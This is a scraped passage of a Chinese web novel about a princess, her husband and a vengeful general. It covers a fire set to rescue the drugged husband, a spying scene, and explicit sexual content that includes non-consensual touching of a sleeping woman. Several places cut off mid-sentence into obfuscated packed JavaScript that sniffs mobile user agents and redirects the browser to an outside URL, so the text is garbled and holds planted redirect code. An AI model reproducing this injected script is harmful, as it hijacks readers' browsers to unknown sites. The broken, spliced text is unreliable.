她就那样微笑看着他,当着他的面抽下自己的腰带,再一颗颗解开胸前盘扣,将那件青色外衣褪下唰地扔在一旁,只露出一件单衣,再换上那件连自己都嫌张扬的衣服。 衣服尺寸不大不小,就像是给她量身定做的一样,将她的身体曲线展露无余。轻轻一动,便带动腰间银铃碰撞出叮铃声。 魏溱上下扫视她:“你还是适合这样的衣服,看上去就不是什么好人家的女子。” 周漪月慢条斯理系好衣带,头也不抬:“多谢,你看着也很像阴沟里爬出来的下三滥。” 魏溱失笑,发自内心的那种笑。 喧闹声入耳,车子似乎到了一片繁华的地方,马车停下后,魏溱先下了车,拉开车帘朝周漪月伸出手:“殿下,请。” 周漪月往外看,不远处是一排排恢宏华丽的酒楼,飞梁画栋,宛如宫殿,楼与楼之间用连桥相接,一眼望不到尽头。 目之所及皆是醉眼迷蒙男人和美艳的女人,男人们的衣着打扮非富即贵,女人则是珠翠满头,极尽妩媚。 就像她和眼前的男人一样。 周漪月心下明白来了,他要自己穿这样的衣服,是为了不引起别人的注意。 男人的手还伸在那里,她选择了无视,戴上面纱径直下了车。 魏溱挑了下眉,上前一把攥住她的手:“奉劝殿下还是乖乖听话,否则我不敢保证那位驸马爷的安危。” 他不由分说把她勾进自己怀里,他本就身形魁梧,肩膀宽阔,一时将怀中的周漪月衬得十分娇小。 四周人来人往,周漪月被他大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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小二看了看那玉牌,又看了看周漪月,会意一笑:“小事小事,公子是上宾,您的吩咐我们怎敢不从!” 他将两人招呼上楼,周漪月闻到一阵浓郁的酒香,只见正厅中央是一座巨大的假山,男男女女坐在池边以金樽舀酒,举杯浅酌。 她这才发现那假山里流的不是水,而是琼浆。 两人一路来到一件雅阁,房间内布置雅致,是观景最好的房间。 魏溱将周漪月按在椅子上,在她面前坐下。紫檀雕花桌上摆着一张棋盘,他似乎非常有兴致,问她:“听说公主擅长对弈,不如我们手谈一局?” 周漪月的忍耐已经到了极限,咬着牙问:“别耍这些把戏了,你到底把驸马怎么样了!” 面前男人淡笑着,慢悠悠道:“当年,我与三十余个罪奴一同入宫,殿下嫌弃说了句太多来了,便和我们玩了个游戏。” 他将白玉扳指“啪”地搁在棋盘上,落于棋格之中。 “殿下带我们来到一处空地,说这里有五十个格子,一半是实地,走在上面无事,一半是陷阱,下面铺满尖刀。而我们,要选择一处格子站上去,只有成功选择空地,或是掉进陷阱活下来的,才有资格继续留在你身边。” 周漪月心里五味杂陈,理智告诉她自己不该相信此人的话,可心里总有个声音告诉她,这就是她做过的事。 这种心理很割裂,她一时没了反应,选择继续听他说下去。 “这座熙春楼有近千座房间,你的驸马就躺在其中一间。” 他指向桌上那支香,笑得森寒:“不过嘛,他的房间里有一个女子正在伺候他,若殿下不能在这炷香内燃烧尽前将人找出,就准备好——给你的驸马披麻戴孝吧。” 10.窥视 周漪月看着那支剩下不到半截的香,抄起桌上碗盏就要往他头上砸。 魏溱斜睨她一眼,目如寒霜:“我若是殿下,此时应该赶快去找人。” “还有,提前跟殿下讲清规则,你必须亲自去找,若你向任何人求助,即视为游戏失败,我会立刻命令屋里的人动手。” 周漪月气到浑身发抖:“若我驸马有一点闪失——” 此时不宜逞口舌之快,周漪月提裙跑了出去。 她从未觉得这座楼这么大。 熙春楼共五楼,每一个房间都房门紧闭,若她一个个这样找下去,至少需要三个时辰。 冷静,冷静……她不断这么告诉自己,试图控制自己身体上的颤抖。 额上冷汗坠下,周漪月环视四周,柱上龙飞凤舞的图案张牙舞爪,仿佛要将她撕咬入腹。 不能求助店小厮,不能向掌柜打听,也不能摆出自己的身份。 一定,一定还有什么别的办法…… 她看着正厅中央的假山,血液直冲脑门,把心一横,拿起一旁的烛火扔进那座假山—— 火光入火龙直冲而上,映红整座楼,人们开始惊慌失措朝楼外逃命。 “快来人,有人纵火!” “灭火,快灭火啊!” 周漪月还嫌火烧得不够大,干脆一不做二不休,又将烛火扔进另外几座酒池中,不过瞬间,整座熙春楼犹如火海。 鎏金柱子摇摇欲坠,她踉跄着跑着,面容狼狈,发尾处已被烧焦。 房间内的人听到喊声全部跑了出来,周漪月筛掉了三分之二的房间。 还剩下三分之一。 浓烟呛进鼻子里几欲让她窒息,周漪月将桌上茶水浇在面纱上,蒙着面强忍烟熏,发疯般一个个冲进剩下的房间。 周漪月已经感觉不到皮肤上的疼痛,就在快要绝望之际,终于在二层西廊的一处房间内找到了闻祁。 他静静躺在床上,似乎是昏迷了,周漪月也顾不得那么多,扯住几个仓皇逃窜的店小厮:“这里还有人,快来救人!” 几人对视了一眼,上前手忙脚乱将人抬走。 火势渐盛,楼中宾客奔走呼号,场面混乱不堪,梁柱不胜火焚轰然倒塌,金碧辉煌的厅堂转瞬化为乌有。 魏溱和凌云并肩站在远处,凌云道:“将军,这个女人着实大胆,当着这么多人的面就敢烧楼。” 魏溱呵笑:“她胆大妄为的事还多着呢,你不知道而已。” 火光将男子的面庞映得愈发俊美浓烈,宛如天人。 “京兆尹府的人来了吗?” “我们的人第一时间去报官了,看时间应该马上就到了。” “务必让他们见到周漪月的脸。” “是。” 魏溱看着面前的乱象,眼神古井无波,漫不经心加了句:“既然要烧就烧个干净,给她加几把火,把旁边几座楼也烧进去。” 凌云应诺,转身下去安排了。 周漪月几人逃出熙春楼的门时,正好撞见京兆衙门的人。 府尹大人刚刚才见过周漪月,见她一身狼狈从火楼里出来,大声唤了句:“公主殿下?” 周漪月心里暗叫不好,竟然被这个府尹撞上了。 府尹朝周漪月走近:“还真是殿下!殿下可是刚从火场逃出来,玉体可有损?” 又见到她身边不省人事的闻祁,大惊失色,对身旁侍从道:“快叫几个大夫来!” 周漪月生怕大夫看出闻祁的异样,连忙摆了摆手,嘴上咳嗽不停:“不劳烦大人,驸马没事。今日是我与驸马来此品茗,不成想碰上熙春楼失火。” “楼里还有不少人被困,救人要紧,大人莫要耽误时间。” 府尹多瞧了她几眼,昨日刚发生过玉渊楼爆炸一事,眼下熙春楼失火,又让他见到朝珠公主。 他心里生出些许疑惑。 可眼下火势险急,府尹无暇想那么多,拱手道:“是,下官派人护送公主和驸马爷回去。” 周漪月声音疲惫:“有劳大人。” 周漪月坐上京兆尹府的马车,没有回宫,而是吩咐车夫往公主府的方向去。 到府门前已是掌灯时分,管事见周漪月骤然回府,浑身上下狼狈不堪,都吓得不轻,“殿下这是怎么了,怎么伤成这样!” 周漪月沉声吩咐他:“无妨,不准声张,去请大夫,再给我和驸马准备沐浴。” 管事得了令马不停蹄下去准备了,周漪月将闻祁交给几个小厮,这才发现自己浑身酸痛,皮肤上多处烧伤,衣袖下的手也在轻微颤抖。 她被侍女们浑浑噩噩地扶着往寝屋走,所有的精力仿佛在刚才的大火中烧尽,只剩下一具躯壳。 大夫匆匆忙忙赶来给闻祁诊脉,对周漪月道:“驸马爷是中了蒙汗药,待老夫开一剂药,喝下去就没事了。” 周漪月冷声道:“大夫只管开药,不该说的一个字都不许往外说,懂了吗?” 大夫从未见过朝珠公主这般冷厉的模样,吓得不敢抬头,“是,老夫明白,若有人问起,老夫只会说驸马是呛了浓烟的缘故。” 周漪月点点头。 待药煎好,周漪月从侍女手上拿走药碗,对她道:“我来吧。” 下人们将驸马从床榻上扶起来,周漪月拿木勺撬开他的牙关,将药一勺一勺灌进他嘴里,她很少照顾人,是第一次给人喂药,动作很笨拙,药汁洒出来不少,流在闻祁的衣领上。 周漪月的手止不住地颤抖,她往自己虎口上狠狠咬了一口。 侍女惊呼一声:“公主殿下!” 周漪月松开咬出血痕的手,说了句没事。 喂闻祁喝下药后,她吩咐下人给他换了身干净的衣服,对其他人道:“这儿不用你们伺候了,都下去吧。” 下人们退了出去,屋内一下子安静下来,周漪月看着床榻上的人,情绪终于在这一刻决堤。 方才在火场里看到他昏迷不醒时,周漪月吓得快要疯掉。 她从未这么害怕过,也从未意识到,自己这么在乎他。 一开始,她与闻祁的婚事更像是一场交易,他给她无限宠爱,让她名声大噪,以压倒性的姿态艳冠京城。 而周漪月则给他的仕途铺路,让家世平庸的他一跃成为父皇身边的红人,朝廷权贵。 他们都是自私自利之人,他们配合无间,天生一对。 周漪月知道自己不是什么好东西,可她,不允许有人伤害闻祁。 决不允许。 不知过了多久,床上的男子缓缓醒了过来,看着面前的周漪月和熟悉的寝屋,脸上露出些许迷茫。 “公主,你怎么在这里?我方才不是……” 闻祁脑子一片混乱,他记得自己方才在熙春楼内与同僚饮酒,一时喝多晕了过去,怎么一睁眼就回到了公主府? 还未想出个所以然来,他瞥到周漪月手上的烧伤和血痕印,拉着她的手:“公主怎么了,怎么受伤了?” 周漪月拼命忍着不让自己落泪,拉着他的手急声问道:“驸马你先告诉我,今晚发生了什么?你不是说自己下朝后要回公主府打点,为何会出现在熙春楼?” 闻祁想了想,努力回忆着。 “原本是要回公主府的,可下朝之后大理寺的高大人找上我,说他不日便要离京赴任,邀我熙春楼一聚。我从前和此人打交道不多,不过有些公务上的事确实要和他对接,便应下了。” “后来,我们在熙春楼,我记得我多喝了几杯桑落酒,许是酒量不济,没几杯便晕了过去……” 周漪月抿了抿唇。 这个高大人显然是那个混蛋安排的,现在若去找定是人去楼空。 周漪月沉吟片刻,心里已经有了底,抬头装出嗔怪的语气:“今日我本想去宝华斋买我们上次见的那支合菱玉缠丝曲簪,谁承想就撞见熙春楼失了火,还看见自家驸马躺在地上不省人事。” “旁人喝酒用水碗子装,你可是个三口下肚就不省人事的,今晚要不是我恰好经过,我还不知道我险些要守寡了。还有,你认识的都是什么人啊,什么劳什子高大人,一见着了火便抛下人不管了,八成啊现在早就逃出了城不知道躲到哪去了!” 说罢气哼哼转过身去,双手环胸,假作怒容。 她企图用这种方法转移闻祁的注意力,让他无暇思考一些细节,比如自己为什么会恰好出现在那里,还有那个莫名其妙出现的高大人。 闻祁被她劈头盖脸骂了一遭,无奈笑了一声。 他对她这套一向很受用。 寻常女子蹙起眉骂人,总带着些讨人嫌的感觉,可周漪月不一样,她的长相是浑然天成的妩媚,娇嗔起来别有一番风情,就是女子见到也酥了骨头,更甭提男人。 每每见她这副模样,闻祁都是气也消了,脑子也晕乎了。 他搭上手晃了晃她的肩:“公主莫要生气,是我不好,让公主担惊受怕。” “都是小生的不是,惹了天上的嫦娥,恼了云里的织女,小生这厢给仙女赔罪了。” 闻祁学着唱戏的腔调来了这么一句,周漪月噗嗤笑出声:“瞧你这副拿乔样儿,一句赔罪就完了?” “公主想如何?只要我能做的,都满足你。” 周漪月测过脸,定定看着他。 “吻我。” 女子微启薄唇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他衣服整洁,发冠一丝不苟,每一根头发丝都妥帖得恰到好处。 而此时的他,发丝凌乱,齐整的月白色衣袍蛇皮般绞着,纠缠着她的红衣。 周漪月闭上了眼,热意顺着耳廓一路向下,脸颊,锁骨,一直到—— 她嘴里喃喃出声:“闻郎……闻郎……” 闻祁如饮甘泉,两人的神魂像是留在了方才的火场,相拥着烧了个粉碎。 远处响起三更的梆声,黑夜浓郁到鼎盛。 她在另一个混蛋那里受到的屈辱和愤恨,流水般随长夜逝去。 浓云乍起,银月渐隐于云中。此时公主府某处屋檐上,男子翩然而至,浑身寒肃,令人莫敢直视。 手下齐齐向他下跪,他逆着月光,让人看不清他脸上的神情。 魏溱问:“事办得如何?” 为首之人回话:“回将军,已办妥。京兆尹府配合晋军掌管京城治安,他们今日人都在昌隆街上,府衙内看守松弛,属下们很容易就得手了。” 声音浑厚有力,中气十足,显然是内力深厚的表现。 “可有人发现行踪?” “无人发现。将军大可放心,属下受陛下之命随将军入梁夏,早已抱了必死之心,若被梁人所俘,属下当自绝而亡。” 来墉都前,晋帝给他们每个人下了死命令。 梁夏朝廷公文,尤其是军机上的来往密信、公文、奏折、布防图……他们若拿不到,便不用再回去了。 魏溱颔首,没说话。 鸦青色的衣袍被风吹得猎猎,拍打他修长的腿,他长身玉立站在高处,俯瞰眼前繁华景。 明明是相同的景色,可就是觉得哪里不一样。 曾经也是在这样一个冬夜,战场上的厮杀声呐喊声不绝于耳,被砍下来的残肢烂肉冷凝成了冰。 他身上套着父亲给他的黑沉重甲,茫然无措看着溃败的晋军仓皇逃窜,如失控的蚁群。 死尸叠压在一起,他藏在那些尸体中间,浑身发抖,被梁国士兵一把提起。 “快来,这还有个活口!” 一个奴隶大概值十两银子左右,战场上的俘虏会没入奴籍,大多被拉去采石场,或是被拉去修城池,挖沟渠,做苦工,指不定哪天就死得悄无声息。 他没有那样死去,他和其他几个年轻的奴隶入了宫,很幸运,也很不幸。 男人垂下眼帘。 他所受四年之辱,会让这个国家用江山来偿还。 用他周氏皇室的血,祭奠被他们折磨至死的罪奴阿弃。 此时,黑暗中有一人朝他走来。 “将军。” 魏溱见凌云神情怪异,问他:“不是命你一刻不离看着他们,怎么回来了?” “回将军,属下方才是在监视,不过现在……” “现在?” 凌云噤了声,似乎有难言之隐,魏溱剑眉蹙起:“他们在做什么?” 11.调教 凌云垂目,没有回答。 魏溱心生疑窦,往前走了几丈,顺着那道掀开的瓦片往下看。 从他那个位置看下去,正好能看到红罗帐内凌乱的一幕。 女子扬起雪白的脖颈,胡乱勾住男人的脖子,本就美艳的脸上媚态万千,媚到让人心惊。 像是吸人骨血的妖精似的。 即便是吹着冷风也能感受到下方传来的旖旎气,更不用提耳边传来的细细吟哦声。 任何一个男人听了都会血脉贲张。 魏溱斜了斜唇,目光比刀剑更凌厉,齿间挤出几个字来:“倒是好兴致。” 凌云没说话,他能听出他的话带着咬牙切齿的意味,还有深深的鄙夷和不屑。 他将头低得很低,大气不敢出一声。 魏溱问了句:“锦绣现在在何处,方才为何没动手?” “回将军,朝珠公主比我们想象中来得快,锦绣听到动静从侧门逃了出去,现在和我们的人都在四方馆候命。” 凌云不得不说,这个女人很胆大,也很果断,火烧熙春楼这样的疯狂举动,也只有她敢做得出来。 不过,他们的目的本来就是把事闹大。 魏溱嘴角嗤了一声:“锦绣没狠下心。” 两人一时沉默,过了半响,魏溱开口问他:“凌云,你觉得这位闻驸马如何?” 凌云摸不准他的意思:“将军说的是哪方面?” “作为男人的方面。” 凌云难以置信抬起头,实在没想到他会问这个,想了半天措辞,迟疑着开口:“这……将军若是让属下评价此人的床上功夫,属下只能说,呃……闻驸马似乎很会伺候的样子,看朝珠公主的样子,很享受。” “享受?” 魏溱把玩着手里的匕首,不羁笑了起来。凌云认出,那是朝珠公主的那柄雕银匕首。 “这个女人煞气重,八字软的男人根本镇不住她。而且,她胃口非常大,若不小心被她缠上,是要吃得渣都不剩的。” 他一边说着一边摩挲着手里的刀柄,不知在想些什么,眸光阴沉如潭。 魏溱的动作落在凌云眼里,极了朝珠公主方才对驸马做的事。 凌云没再吭声,他不敢探究自家将军和那个女人相处的时候,遭过她怎样的折磨和索取。 流落梁夏国的那几年已经成了魏溱的禁忌,除了他们几个亲信,没人知道此事。 一身惊呼声响起,他顺着声音往那边看,即便被遮挡了视线也能想象到底下有多么激烈。 “此人确实不像一般女子,属下从未见过如此生猛的女人。” 这样的女人难对付,也很有兴味。 的确如魏溱所说,伺候这样的女人,柔情似水是不管用的,得拿带着倒刺的铁链勾住她的脖子,强行把她按死在自己身边。 魏溱笑笑,没说话。 寝屋内,两人还未消停,周漪月纤细的腰肢柳枝似地摇颤。 女子如受惊的白兔,双颊绯红,白皙的肩上布满红痕,整个人被蒸透了似的,连脚趾尖都透着粉。 可她还不满足,一下翻过身跨坐在男人腰上,压低身子伏在他胸前,乌光水滑的发丝柔柔垂下。 嘴里喘息道:“驸马,今夜来点不一样的如何?” 闻祁精疲力尽,含笑望着她,拭去她额上的汗:“公主想做什么?” 周漪月起身,从床边柜子里拿出一样东西。 一个藤条制成的短鞭,末端系着铜环,鞭身光滑精致,十分美观。 她将鞭子抵上他的下巴,脸上坏笑着,娇颜像是沾了血的白花,纯洁又罪恶。 周漪月很少与闻祁玩得这样疯,许是刚从火场逃生,死亡的快感化成了激情。 又或许是方才与那个歹人的接触,让她陷入恐慌。 她想要证明,自己和眼前的男人才是最亲近的人。 “公主可真是,想要为夫的命……” 周漪月红唇含笑,抻开手中软鞭,居高临下看着他。 屋檐上的两人听到一阵噼啪声,像是什么东西抽打在皮肉上。 凌云不知自家将军看到了什么,脸色突然变得很难看,整个人像是被抽走了魂一般,不知游离到了何处。 他惊声唤道:“将军?” 魏溱手越收越紧,几乎要将手里的匕首捏碎。 耳畔里噼啪的声音,将他记忆拉回那些不堪的、凌乱的回忆。 巨大的殿柱前,他被吊在梁上,面前少女痴痴地笑着,手里鞭子一下一下落在他赤裸的脊背。 “阿月,阿月……”他喃喃着这个名字,苍白又无力。 身后那红衣少女说:“怎么了,不是口口声声说喜欢我吗,连这点痛都忍不了,凭什么说喜欢我?” “忍着,不许叫出声,我不想让人听见……这是我对你的恩赐呢,旁人可都没有这种待遇。” 她尾音上扬,像能腻出蜜糖来。 “阿弃,你喜欢我吗?” 她一遍又一遍地问,持鞭而笑,勾起的笑散发着森森寒意。 就如同她现在的样子。 回忆和现实的画面交叠在一起,魏溱看着他们,仿佛看到周漪月身下的男子一点点换成自己的脸。 她身下压着的不再是那个文弱的驸马,而是他,鞭子抽打在他的身上,皮肤撕开酥麻的痛感。 他看见自己发了怒,反手捉住她手里那凶器,怒声质问:“不是说只喜欢我一个人吗?为何抛下我?为何要嫁给别的男人!” “你好好看看我的脸,看看我到底是谁!” 女子看着他,眼里有一瞬的茫然,继而一点点变得狰狞凌厉,发疯一般将他推开:“你是谁,我根本不认识你!” 那样警惕的眼神,仿佛他们真的只是陌生人。 她的目光深深刺痛了他的眼,一瞬间,画面崩塌,面前还是墉都城深不见底的夜。 魏溱思绪一点点回笼,当他意识到自己在幻想什么,心脏轰然下坠。 手中匕首被他哐啷一声掷出,“铮”的一声,足足陷进瓦片三寸之深。 “将军?” 凌云不知发生了什么,只见魏溱面露慌乱,甩袖而去:“继续看着他们,即便是在床上也给我盯牢了!” 凌云从未见过自家将军如此失态,也不知道为何发这么大的火,只好躬身称是。 屋内,周漪月靥足躺在榻上,整个人如利剑回鞘。 下人们端进一盆盆热水,将地上散落的衣裳捡走,换了床单,铺展平整,步履轻盈退了出去。 床榻齐整如初,闻祁重新躺在她身旁,胸膛上下起伏,像在忍耐什么。 周漪月抬起手抚上他的脸,温柔问:“疼么?” 闻祁笑了笑,眉眼缱绻,扯过衾被盖上她的身躯,将她包裹着搂进了怀里。 “如饮蜜糖。”他喃喃道。 闻祁说的是真心话,这种感觉很奇怪,疼痛加重了床帏间的刺激和愉悦,也让他触及到周漪月内心隐秘的一面。 是他从未触及到的地方。 周漪月闭上眼,头晕乎乎的,“一开始都是这样的,过几次便好了。” “都是这样?”闻祁笑道,“怎么,公主还跟别人这样玩过?” 周漪月猛地噎住,心里闪过一瞬疑惑,她不知道自己为什么下意识说出这样的话,好像嘴不受自己控制似的。 她随口回了句:“怎么可能啊,除了自己的夫君,哪个女子敢跟人这么玩?” 闻祁也没有追问,下巴蹭着她绸缎似的头发,淡淡嗯了一声。 “放心,我一定有办法的……” 他模模糊糊说了句,周漪月没听清,抬头问他:“什么?” “没什么。” 烛火沉沉,倾颓于华丽的红罗帐上,似梦非梦。 魏溱带人回四方馆的时候,锦绣还未从方才的惊悸中缓过神,只见那个高大的男人大步迈入屋内,脸上遍布阴霾。 他大喇喇掀袍坐下,锦绣赶忙上前,小心翼翼唤了一声:“将军……” 灯下的魏溱通身镀着淡淡的光华,只是那光照不进他眼里,只有深不见底的黑。 锦绣打了个寒战。 魏溱定定看着面前女子,轻挑眉眼,问她:“为何没有下手?” 锦绣颤声道:“回将军,妾身按照将军的吩咐准备好了媚香,酒里也下了药,闻驸马没喝几杯酒便晕了过去。” “那之后高大人离开了屋子,妾身拉开闻驸马的衣服正要动手,就听见外面一阵骚乱,发现是熙春楼失了火,这才撇下人逃跑了……妾身办事不力,请将军责罚。” 锦绣的说辞和凌云没有什么区别,也是说周漪月来得太快才让他们没来了下手的机会。 魏溱看着她,没有说话,铺天盖地的威压让女子抬不起头。 锦绣没说实话。 几个时辰前,她受魏溱之命进入熙春楼,抱着琵琶走进那屋子,见到那个通身贵气的男人。 高大人是他们安排好的,见她来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13022600|135966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑着对闻祁道:“前不久在教坊司遇上的歌伎,曲儿不错,闻兄与我一同欣赏欣赏?” “这女人嘛,哪怕她是国色天香,老看那么一个,迟早也会看腻的。” 闻祁笑笑:“高大人说好那定是才貌双绝,若是曲儿唱得好听,在下定邀至公主府上与公主一同欣赏。” 锦绣觉得他的声音非常好听,充满磁性,是那种听过一次就难以忘记的音色。 房间内只有他们三人,四周隐蔽性非常好,可他选择了忠于自己的妻子。 她忍不住多看了他一眼。 高大人听出他话里的婉拒之意,也没说什么,只笑道:“如此甚好,那便听曲儿吧。” 那两人举杯对饮片刻,锦绣低下头,轻抚琴弦,这把琴伴她二十多年,她却头一次弹得如此生涩。 慌乱间,手下弹错一音。 突兀尖锐的嗡鸣声惹得桌上两人同时抬头,朝她投来疑惑一瞥。锦绣脸色发白,面露窘迫:“妾身风尘陋质,污了贵人们的耳……” 高大人刚夸她是乐伎翘楚,这便错了音,锦绣生怕事情败露,衣袖下的手开始轻颤。 六神无主间,只听身前温和的笑声传来:“曲有误周郎顾,在下今日也体会到了周郎之乐。” 锦绣正出神时,一只宽厚的手掌掐上她的面颊,强迫她仰起头来。 面前男子端详她的脸,目光暗了暗。 “会伺候男人吗?” 不知是不是因为方才见到的旖旎一幕,他身下难以抑制地饱胀,连声音都带了隐忍的沙哑。 锦绣不是未出阁的黄花闺女,怎会不知那目光是什么意思。 “从前在青楼跟妈妈学过……将军放心,妾身是淸倌儿,并未开/苞,只要将军尽兴,妾身做什么都可以。”她桃花脸含羞,声音像刚从蜜罐里捞出来似的。 魏溱声音低沉:“现在,用你学的那些手段,取悦我。” 说罢便松开了手,倚坐在椅子上,好整以暇看着她。 锦绣一骨碌爬了起来,跪伏在他膝上,手摸上他腰间,去解那镶金铜革带。 面前男人是个武将,身躯伟岸,想那物什也小不到哪去。锦绣不知自己能否受得,咬了咬唇,手指越发僵硬。 魏溱就那么看着她的动作,昏黄灯光下,面前那张娇艳的脸泛着莹润的光。 恍惚间,他脑海里想的全是另一个人的样子——想她就这么跪在自己身前,低下头,脸上露出屈辱的神情。 给他做着相同的事。 锦绣撩开衣襟一角,男子腹间的肌肉线条分明,正要低下头进行下一步时,男人捉住她的肩膀。 “罢了,你不是她。” 他制止了她,脸上阴霾褪去,眼底尽是淡漠疏离。 锦绣和那个女人一样,都有着让人一眼惊艳的五官,眉眼间的媚态有七八分相似。 可她们不一样,哪哪都不一样,不论锦绣打扮得再千娇百媚,笑起来多么柔情似水,那也只是取悦男人的手段。 不像那个女人,她永远不会取悦别人,她永远不会像锦绣一样软下自己的身子,即便是躺在男人身下承欢,她也是居高临下的那一方,仿佛随时会拿起一把刀将身上人的喉咙割开。 微微上挑的眼角永远在告诉世间男子,他们连给她当垫脚凳都不配。 锦绣试探着问:“将军说的,可是那位朝珠公主?” 她察言观色的能力不错,魏将军是晋人,平白无故让她去勾引当朝驸马,其中的原因,她或多或少能猜个七七八八。 魏溱没回答她,敛衣起身:“我已差人与教坊司坊主还有鸿胪寺官员商议,为你赎身,今后你不再是奴隶身份,行事也能自由许多。” 锦绣一时怔在原地,待她反应过来,眼里迸出惊喜的光:“多谢将军,多谢将军……将军的大恩大德,妾身没齿难忘!” “可还有家人?” “妾身父母早亡,家中无兄弟姊妹,只有一个义兄,与妾身一样是国公府上的人,国公爷出事后他便不知被送到了何处。” 魏溱点头,“既然如此,你愿意跟着我们便跟着,若不愿意便自行离开吧。” 他摆了摆手:“下去吧。” 锦绣千恩万谢,行了个万福,躬身退了出去。 屋内骤然寂静下来,魏溱反复深呼吸,仍感觉一股血气郁结于胸。 他一脚踢开屋门,往公主府方向而去。 屋门摇摇欲坠,门框近乎断裂,“咔嚓咔嚓”地在寒风中响着。 12.弄唇 屋内,周漪月下床喝了口云雾茶润嗓,薄如蝉翼的寝衣在地上铺展。 她新鲜瓜果供奉在观音像前,又在供桌上点了一支香,双手合十拜了拜。 闻祁玩味看着她的样子,问她:“公主甚少礼佛,怎么今日有了兴致?” “这是母后专门差人送来的,说是在相国寺开过光,非常灵验,有位御史夫人就是拜过之后怀上了双生胎。” 周漪月垂下眼帘:“母后对此事非常上心,我想着,总不好拂了她的好意。她膝下无子,若是我能生下儿子,她在宫中也会稍好过一些。” “否则,父皇百年之后,可就是梁氏和太子的天下了。” 她唇角扬起一抹笑意,带着挑衅的意味,与面前慈眉善目的观音像十分犯冲。 闻祁顿了顿:“说起这位太子爷,可没少叫人操心,前几日他与太傅之子争执,竟然叫了几个武夫将他打了一顿,险些把腿给打残。此事在朝野上议论纷纷,老太傅气得要当场撞柱,陛下将太子好一通训斥,又关了一个月禁闭才了事。” 周漪月呵笑一声,讥诮道:“此事我也听说了,我这位皇兄一向如此,不学无术意气用事,简直与匹夫无异,比起心机深沉的五哥倒是更让人放心呢。” 闻祁笑道:“公主定是比我更了解你的皇兄,我想说的是,太子爷虽德行有缺,但陛下对他还是很器重。” 周漪月明白他的意思,走到他跟前坐下,指甲掐出一点消瘀的膏药涂在他背上:“你放心,我不会轻举妄动,可也不会任人宰割。” 不动太子,但还有别的方法。 “公主只要小心谨慎就好。时候不早了,我们早些歇息吧。” “好。” 周漪月将烛台轻轻吹灭,掀开锦被躺在闻祁身边,两人呼吸渐匀,相携进入梦乡。 魏溱踏进公主府时,庭院内月光如水,一片寂静。 他钻进一处寝屋,屋内没有灯火,空气还浮动着旖旎的气息,在月光下像是微尘。 偌大的房间内尽是奢华的桌椅,桌上搁着一尊送子观音,质地上乘,面目慈悲。 观音像前的错金博山炉内燃着一支未尽的香,檀香袅袅,显然是刚刚插上的。 方才就是在这里吗? 他往床边步去,隔着层层床帘,床上一男一女紧挨着躺在一起,锦衾勾勒出他们的轮廓。 他绕到床另一侧,手一挥,将床帘甩开。 男人的肩颈处爬着几道鞭痕,青红的颜色,看着有些浮肿。 魏溱能想象到她的力道。 他身旁的女子显然刚经历一番春情,如沾露的梨花,鼻尖沁着细密的汗珠。 柔软的身体整个陷在雪青色金丝褥上,一弯玉臂软绵绵搭在绸被上,皮肤上有一片烧红的痕迹,缎发水墨般铺展开,发鬓被汗水打得濡湿。 他目光飞快从那张脸庞上掠过,定格在唇瓣上。 水光潋滟,像得了什么滋润似的。 他眯了眯眼,眼底有暗夜流动,伸出手掐着她下颌,三指捏住她的雪腮,一点点收紧。 颊肉挤在一起,女子蹙了下眉,羽睫轻颤,却死死绷着唇不肯松口,唇硬往两边抿,抿成了一条线。 连睡梦时都要跟他较劲么? 魏溱扯了扯唇,另一只手伸进她嘴里,撬开她齿关,强硬着把她嘴往下压。 女子的脸终于不堪重负,门户大开,樱口张成饱满的形状,潋滟欲滴,轻轻噘起,仿佛在吮吸一根棒糖。 像是生出几分玩心,魏溱伸出修长手指,指腹沿着她的唇瓣划过一圈,将她的嘴摆弄成满意的形状,这才缓缓收回了手。 手指刚抽出一半,关节处一痛,他的手指被她一口咬住,牢牢卡在了洞口。 指尖上传来温热软滑的触感,酥酥麻麻,顺着手、胳膊传上男人的脑门,激起后背一阵薄栗。 女子两弯柳眉轻蹙,似乎含着的东西有些撑口,她想一点点把那物件吞下,往前伸了伸皓颈。 魏溱心头一跳,眼见就要被她吞得更深,忙腾出另一只手扳开她的嘴,全身而退。 手指上留下一道晶莹痕迹,在月光下泛着光。 女子微张着嘴,还保持着方才的形状,头往枕头里蹭了蹭,露出满意的神情,如狩猎者靥足回笼。 魏溱睨了她一眼,眼底流动着说不清的情绪,掀开床帘转身离去。 步伐略有些慌乱。 走到那张黄花梨八仙桌前时,床上传来一声女子的呓语:“闻郎……继续……” 男人顿住脚步。 面前观音像直直立在桌上,瓷器无温,像一把冰冷的匕首割痛他的眼睛。 “哗啦——” 碗盏碎裂声乍然响起,划破寂夜,床上两人一下从梦中惊醒。 周漪月惊问:“什么声音?” 侍女们听到动静赶忙步入屋内,见那尊价值不菲的观音像碎成一地瓷片,朝两人道:“公主,驸马爷,许是窗子没关好进了风,把桌上的观音像给吹下去了。奴婢这就收拾。” 周漪月面露薄怒:“睡的时候窗子还是关得好好的,怎么会进风呢?” 闻祁安慰她:“无妨,碎了就碎了,回头我给公主找一尊更好的。” 他拍着她的背,哄孩子一般说着。 四方馆内,司枫几个官员从外面回来,刚迈进馆内,便见到这样的情景—— 满庭枝断叶落,仿佛刚经历了一场狂风暴雨,树下石凳处,魏溱以剑支地,气喘不定,像是刚经历完一场厮杀。 几个晋国官员面面相觑,迟疑着上前询问,“将军这是怎么了,怎么好端端的……” “无妨,兴致来了,练剑。”长剑回鞘,魏溱云淡风轻答了一句。 他见几人眉眼间似有郁色,问:“可是晋国那边出了什么事?” 